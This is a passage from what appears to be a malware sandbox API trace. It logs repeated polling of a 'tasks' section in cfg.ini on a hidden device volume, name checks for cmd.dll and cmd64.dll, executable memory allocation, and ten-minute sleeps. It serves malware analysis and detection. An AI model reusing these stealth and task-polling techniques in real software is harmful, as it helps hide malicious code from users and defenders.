(hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.121] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.121] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.121] KeEnterCriticalRegion () [0122.121] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.121] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.121] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.121] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.121] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.121] IdePortDispatch () returned 0x103 [0122.121] KeWaitForMutexObject () returned 0x0 [0122.121] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.121] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.121] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.121] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.122] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.122] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3e10 [0122.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] KeLeaveCriticalRegion () [0122.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.122] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.122] KeEnterCriticalRegion () [0122.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] KeLeaveCriticalRegion () [0122.122] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.122] KeEnterCriticalRegion () [0122.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.122] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.122] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.122] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.122] IdePortDispatch () returned 0x103 [0122.122] KeWaitForMutexObject () returned 0x0 [0122.122] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.122] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] KeLeaveCriticalRegion () [0122.122] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.122] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.122] KeEnterCriticalRegion () [0122.122] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.122] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c2e000 [0122.122] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.123] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.123] IdePortDispatch () returned 0x103 [0122.123] KeWaitForMutexObject () returned 0x0 [0122.123] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.123] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.123] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.123] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.123] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.123] IdePortDispatch () returned 0x103 [0122.123] KeWaitForMutexObject () returned 0x0 [0122.123] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.123] KeLeaveCriticalRegion () [0122.123] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.124] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.124] KeEnterCriticalRegion () [0122.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] KeLeaveCriticalRegion () [0122.124] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.124] KeEnterCriticalRegion () [0122.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.124] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] KeLeaveCriticalRegion () [0122.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.124] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.124] KeEnterCriticalRegion () [0122.124] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] ExFreePoolWithTag (P=0xfffffa8003be3e10, Tag=0x0) [0122.124] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.124] KeLeaveCriticalRegion () [0122.124] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.124] ReleaseMutex (hMutex=0xf0) returned 1 [0122.125] Sleep (dwMilliseconds=0x927c0) [0122.140] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.140] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.140] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.140] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.140] KeEnterCriticalRegion () [0122.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.140] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.140] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.140] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.140] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.140] IdePortDispatch () returned 0x103 [0122.140] KeWaitForMutexObject () returned 0x0 [0122.140] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.140] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.140] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.140] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.140] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.140] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3390 [0122.140] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.140] KeLeaveCriticalRegion () [0122.140] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.140] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.140] KeEnterCriticalRegion () [0122.140] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.141] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.141] KeLeaveCriticalRegion () [0122.141] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.141] KeEnterCriticalRegion () [0122.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.141] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.141] IdePortDispatch () returned 0x103 [0122.141] KeWaitForMutexObject () returned 0x0 [0122.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.141] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.141] KeLeaveCriticalRegion () [0122.141] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.141] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.141] KeEnterCriticalRegion () [0122.141] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.141] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c36000 [0122.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.141] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.141] IdePortDispatch () returned 0x103 [0122.141] KeWaitForMutexObject () returned 0x0 [0122.141] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.141] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.141] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0122.141] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0122.141] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.142] IdePortDispatch () returned 0x103 [0122.142] KeWaitForMutexObject () returned 0x0 [0122.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.142] KeLeaveCriticalRegion () [0122.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.142] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.142] KeEnterCriticalRegion () [0122.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.142] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.142] KeLeaveCriticalRegion () [0122.142] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.142] KeEnterCriticalRegion () [0122.142] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.142] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.142] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3910, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.142] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.142] KeLeaveCriticalRegion () [0122.142] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.143] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.143] KeEnterCriticalRegion () [0122.143] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.143] ExFreePoolWithTag (P=0xfffffa8003be3390, Tag=0x0) [0122.143] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.143] KeLeaveCriticalRegion () [0122.143] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.143] ReleaseMutex (hMutex=0xf0) returned 1 [0122.143] Sleep (dwMilliseconds=0x927c0) [0122.157] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.157] IdePortDispatch () returned 0x103 [0122.158] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.158] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.158] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.158] KeEnterCriticalRegion () [0122.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.158] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.158] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.158] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.158] IdePortDispatch () returned 0x103 [0122.158] KeWaitForMutexObject () returned 0x0 [0122.158] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.158] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.158] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.158] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.158] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.158] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3440 [0122.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.158] KeLeaveCriticalRegion () [0122.158] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.158] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.158] KeEnterCriticalRegion () [0122.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.158] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.158] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.158] KeLeaveCriticalRegion () [0122.158] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.158] KeEnterCriticalRegion () [0122.158] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.158] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.159] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.159] IdePortDispatch () returned 0x103 [0122.159] KeWaitForMutexObject () returned 0x0 [0122.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.159] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.159] KeLeaveCriticalRegion () [0122.159] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.159] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.159] KeEnterCriticalRegion () [0122.159] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.159] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c3f000 [0122.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.159] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.159] IdePortDispatch () returned 0x103 [0122.159] KeWaitForMutexObject () returned 0x0 [0122.159] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.159] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.159] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.159] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.159] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.159] IdePortDispatch () returned 0x103 [0122.159] KeWaitForMutexObject () returned 0x0 [0122.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.160] KeLeaveCriticalRegion () [0122.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.160] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.160] KeEnterCriticalRegion () [0122.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.160] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.160] KeLeaveCriticalRegion () [0122.160] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.160] KeEnterCriticalRegion () [0122.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.160] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.160] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.160] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.160] KeLeaveCriticalRegion () [0122.160] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.160] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.160] KeEnterCriticalRegion () [0122.160] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.161] ExFreePoolWithTag (P=0xfffffa8003be3440, Tag=0x0) [0122.161] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.161] KeLeaveCriticalRegion () [0122.161] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.161] ReleaseMutex (hMutex=0xf0) returned 1 [0122.161] Sleep (dwMilliseconds=0x927c0) [0122.176] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.176] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.176] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.176] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.176] KeEnterCriticalRegion () [0122.176] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.176] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.176] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.176] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.176] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.176] IdePortDispatch () returned 0x103 [0122.176] KeWaitForMutexObject () returned 0x0 [0122.176] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.176] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.176] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.177] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.177] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.177] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be3190 [0122.177] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.177] KeLeaveCriticalRegion () [0122.177] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.177] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 